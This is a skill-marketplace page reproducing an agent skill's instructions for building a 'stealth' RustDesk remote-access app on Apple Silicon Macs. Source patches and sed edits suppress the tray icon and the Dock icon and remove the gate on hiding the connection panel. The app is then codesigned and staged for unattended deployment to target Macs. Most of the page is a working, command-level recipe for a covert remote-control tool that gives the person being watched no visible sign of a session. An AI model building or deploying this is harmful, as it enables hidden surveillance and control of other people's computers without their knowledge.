agentsclimarketplace

Build stealth rustdesk

Skill soulmachine/skills/build-stealth-rustdesk

Skills shared by soulmachine for improving daily work efficiency with AI Agents (Claude Code, Codex, etc.)

Install
npx -y skills add soulmachine/skills --skill build-stealth-rustdesk

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 3 stars3 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Build a patched, fully-stealth RustDesk.app from source on Apple Silicon, from a maintained private fork — no menu-bar icon, no Dock icon, no on-screen CM panel compiled in, remote keyboard still works, codesigned and ready to deploy. Use when building or version-bumping the stealth RustDesk binary; deploy the result with the deploy-stealth-rustdesk skill.

SKILL.md

12.3 KB, as published. Nobody here has run it

Build stealth RustDesk from source (macOS, Apple Silicon)

Produce a signed RustDesk.app with three stealth surfaces suppressed in the binary — the menu-bar (tray) icon, the Dock icon, and the CM panel (the connection-management window that floats top-right during a session) — while remote keyboard still works. The built app is the artifact; deploy it as an unattended service with the deploy-stealth-rustdesk skill.

Why build from source: the obvious shortcut — the hide-tray=Y custom-client flag — springs the daemon trap. It makes RustDesk install as a LaunchDaemon, which runs outside the user's GUI session and silently kills remote keyboard input (rustdesk#10709); on macOS 26 such clients may not even launch. The only path that is both invisible and controllable keeps RustDesk a LaunchAgent (user session) and just skips drawing the tray icon — a one-line patch. Installing as a LaunchAgent is deploy-stealth-rustdesk's job; this skill compiles the patch in.

Each surface needs a different mechanism — there is no single toggle:

SurfaceSuppressed by
Tray / menu-bar iconassets/stealth.patchsrc/tray.rs (compiled in here)
Dock iconLSUIElement=1 (stock) plus a window_manager patch (Step 4) — the CM/GUI window flips the app to a .regular activation policy on connect, which defeats LSUIElement and shows a Dock icon unless patched
CM connection panelassets/stealth.patchsrc/ipc.rs un-gates the feature here; deploy-stealth-rustdesk's config then turns it on

Upstream restricts the hide-CM feature to Pro / custom-client builds (is_custom_client() is just get_app_name() != "RustDesk"), so on a vanilla from-source build no config value alone will hide the CM panel — the ipc.rs hunk removes that gate. The gate removal only pays off when deploy sets its three config options (approve-mode + verification-method + allow-hide-cm); without them the CM panel still shows. That coupling is the interface to deploy-stealth-rustdesk.

Pins — RustDesk 1.4.8, Apple Silicon. Version drift is the top build-failure cause; match exactly. For any other tag, re-derive them first (REFERENCE.md → "Re-deriving pins").

  • Rust 1.81 · Flutter 3.24.5 (exact) · vcpkg @120deac3062162151622ca4860575a33844ba10b · cargo-expand 1.0.95 · flutter_rust_bridge_codegen 1.80.1
  • vcpkg triplet arm64-osx · build features flutter,hwcodec,unix-file-copy-paste · full Xcode (not just Command Line Tools)

Set once, used throughout ($SKILL_DIR = this skill's folder):

BUILD=~/rustdesk-build
export VCPKG_ROOT="$BUILD/vcpkg"
export PATH="$BUILD/flutter-sdk/flutter/bin:$HOME/.cargo/bin:$PATH"
APP="$BUILD/rustdesk/flutter/build/macos/Build/Products/Release/RustDesk.app"

Step 1 — Maintain the private fork (source of truth)

Keep a private fork of rustdesk/rustdesk with the two stealth.patch hunks committed on top of the upstream release tag. Version bumps then become a git rebase/cherry-pick — not the "re-locate the two sites by hand" that a raw git apply forces when upstream code moves. Use the private-fork-sync skill for the generic "make the fork private + keep it fast-forward-synced with upstream" mechanics; the stealth-specific part is below.

First-time setup:

# Fork rustdesk/rustdesk -> your account, make it private + wire upstream (private-fork-sync skill).
# (Alternative: a detached private mirror — bare-clone rustdesk, push to a fresh private repo — if
#  you don't want a GitHub "fork" object; it sidesteps the fork-network privacy caveats.)
git clone [email protected]:<you>/rustdesk.git "$BUILD/rustdesk-fork" && cd "$BUILD/rustdesk-fork"
git remote add upstream https://github.com/rustdesk/rustdesk.git && git fetch upstream --tags
git checkout -b stealth-1.4.8 1.4.8
git apply "$SKILL_DIR/assets/stealth.patch"
git commit -am "STEALTH BUILD PATCH: hide tray + un-gate hide-cm (tray.rs, ipc.rs)"
git push origin stealth-1.4.8

Version bump (e.g. 1.4.8 → 1.4.9):

git fetch upstream --tags
git rebase --onto 1.4.9 1.4.8 stealth-1.4.8   # or cherry-pick the stealth commit onto 1.4.9
# conflicts localize to src/ipc.rs + src/tray.rs; resolve, re-derive the pins (REFERENCE.md), retag:
git branch -m stealth-1.4.9 && git push -u origin stealth-1.4.9

Only src/ipc.rs and src/tray.rs change — both main-repo files, so submodules (hbb_common, vcpkg) resolve to their own upstreams and need no fork. Two other stealth fixes live OUTSIDE the fork and are re-applied per build (window_manager, Step 4) or per deploy (agent KeepAlive, in deploy-stealth-rustdesk). Note: privatizing a fork blocks PRs to the public parent (fine — these are never upstreamed) and drops prior collaborators.

Done when: git ls-remote --heads origin stealth-1.4.8 returns a ref, and git show stealth-1.4.8:src/tray.rs | grep -c 'STEALTH BUILD PATCH' is 1.

Step 2 — Pin the toolchain

Install/verify every pin above. Full Xcode must be the active developer dir: sudo xcode-select -s /Applications/Xcode.app/Contents/Developer && sudo xcodebuild -license accept && sudo xcodebuild -runFirstLaunch. rustup install 1.81; download Flutter 3.24.5 exact from the Flutter release archive (NOT brew install flutter — that is latest and will break codegen); brew install nasm cmake pkg-config cocoapods; clone vcpkg into $VCPKG_ROOT, git checkout the pinned commit, ./bootstrap-vcpkg.sh -disableMetrics; cargo +1.81 install cargo-expand --version 1.0.95 --locked and cargo +1.81 install flutter_rust_bridge_codegen --version 1.80.1 --features uuid --locked.

Done when: flutter doctor shows Xcode ✓, $VCPKG_ROOT/vcpkg version runs, and flutter_rust_bridge_codegen --version prints 1.80.1.

Step 3 — Clone the stealth source

Primary — clone your fork's stealth branch (patch already committed):

git clone --depth 1 --branch stealth-1.4.8 --recurse-submodules --shallow-submodules \
  [email protected]:<you>/rustdesk.git "$BUILD/rustdesk"
cd "$BUILD/rustdesk" && rustup override set 1.81

Fallback (no fork) — clone upstream and apply the patch directly:

git clone --depth 1 --branch 1.4.8 --recurse-submodules --shallow-submodules \
  https://github.com/rustdesk/rustdesk.git "$BUILD/rustdesk"
cd "$BUILD/rustdesk" && rustup override set 1.81 && git apply "$SKILL_DIR/assets/stealth.patch"

The patch is the only source change — two small hunks (either path yields an identical tree):

  • src/tray.rs::make_tray() — forces the tray's existing "start the event loop but don't create the status item" path on macOS. Keeping the event loop is what lets the --server process retain its main run loop → capture + input survive. Do not early-return start_tray() instead — the --server macOS branch depends on that loop.
  • src/ipc.rs (get_config "hide_cm") — removes the is_pro() || is_custom_client() gate so hide_cm() is honored on this build. Without it, deploy-stealth-rustdesk's config is silently ignored and the CM panel shows on every connect.

Done when: grep -rc 'STEALTH BUILD PATCH' src/tray.rs src/ipc.rs reports 1 for each file.

Step 4 — pub get, patch window_manager (Dock fix), generate the FRB bridge

flutter pub get fetches the window_manager plugin, whose setSkipTaskbar calls setActivationPolicy(.regular) when a window shows — the one thing that defeats LSUIElement and puts a Dock icon up on connect. Patch it to stay .accessory. Then run the FRB codegen — build.py does not run it, and skipping it makes Step 5 fail with file not found for module bridge_generated + EventToUI: IntoIntoDart (errors that look unrelated to the real cause).

cd "$BUILD/rustdesk/flutter" && flutter pub get && cd ..
# Dock-icon fix (pub-cache path varies by pinned ref, so find it):
WM=$(find ~/.pub-cache -path '*window_manager*/macos/Classes/WindowManager.swift' | head -1)
sed -i '' 's|setActivationPolicy(isSkipTaskbar ? .accessory : .regular)|setActivationPolicy(.accessory) // STEALTH: never take a Dock icon|' "$WM"
flutter_rust_bridge_codegen --rust-input ./src/flutter_ffi.rs \
  --dart-output ./flutter/lib/generated_bridge.dart \
  --c-output ./flutter/macos/Runner/bridge_generated.h

The window_manager patch lives in pub-cache, not the RustDesk repo, so it is not in assets/stealth.patch and cannot live in the fork — re-apply it here on every fresh clone / pub get.

Done when: src/bridge_generated.rs exists (~5k lines) and grep -c '\.regular' "$WM" is 0. Missing bridge_generated.rs is the most common reason the build "mysteriously" fails at Step 5 — verify before moving on.

Step 5 — Build

cd "$BUILD/rustdesk"
MACOSX_DEPLOYMENT_TARGET=10.14 python3 build.py --flutter --hwcodec --unix-file-copy-paste

These are the exact features of the official 1.4.8 macOS release, so the result differs from stock only by the tray + ipc patches. First build is 30–60 min (vcpkg compiles aom/ffmpeg).

Done when: "$APP/Contents/MacOS/RustDesk" --version prints 1.4.8.

Step 6 — Codesign

build.py copies the service binary in after Xcode signs, so re-sign the whole bundle. Sign in the build dir (writable) before staging for deploy.

codesign --force --deep --sign - "$APP"

Ad-hoc (-s -) works, but it binds deploy-stealth-rustdesk's TCC grants to this exact binary: every rebuild changes the cdhash and silently breaks them (symptom Connected, waiting for image on the deploy side). Building from a maintained fork means you will rebuild on updates — so sign with a stable self-signed identity instead, and the deploy's grants survive rebuilds. See REFERENCE.md → "Stable signing identity". This signing choice is the second interface to deploy-stealth-rustdesk (its TCC step).

Done when: codesign --verify --deep --strict "$APP" passes and prints "satisfies its Designated Requirement".

The artifact (output contract) and hand-off

This skill's output is the signed bundle at $APP. Compiled in: tray icon suppressed (tray.rs), Dock icon suppressed (LSUIElement + window_manager), CM Pro/custom-client gate removed (ipc.rs). Not yet done here: the CM panel is not hidden at runtime, no password, no services installed, no TCC grants — all of that is deploy-stealth-rustdesk. In particular the CM panel only actually hides once deploy sets approve-mode + verification-method + allow-hide-cm. The stealth payoff is verified at deploy time, not here — this skill's checks are artifact-level (--version, codesign --verify, patch markers in source).

Hand off to each target Mac: stage the signed $APP and the two launchd plists src/platform/privileges_scripts/{daemon.plist,agent.plist} (they are not inside the .app bundle) into one folder laid out the way deploy-stealth-rustdesk reads by default — APP=~/.stealth-rustdesk/RustDesk.app, PLISTS=~/.stealth-rustdesk/privileges_scripts — then copy that folder to each target and run deploy-stealth-rustdesk there:

STAGE=~/.stealth-rustdesk                      # distinct from $BUILD; matches deploy's default paths
mkdir -p "$STAGE/privileges_scripts"
cp -R "$APP" "$STAGE/RustDesk.app"
cp "$BUILD/rustdesk/src/platform/privileges_scripts/"{daemon,agent}.plist "$STAGE/privileges_scripts/"
# copy $STAGE to each target Mac (scp -r / AirDrop / USB), then run deploy-stealth-rustdesk there

deploy-stealth-rustdesk Step 1 then consumes this folder unchanged: RustDesk.app/Applications, daemon.plistLaunchDaemons, agent.plistLaunchAgents.

Maintenance & troubleshooting

Build failures, re-deriving pins for a new tag, the fork rebase-on-bump, and setting up a stable signing identity are in REFERENCE.md. Deploy/connection issues live in the deploy-stealth-rustdesk skill.

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.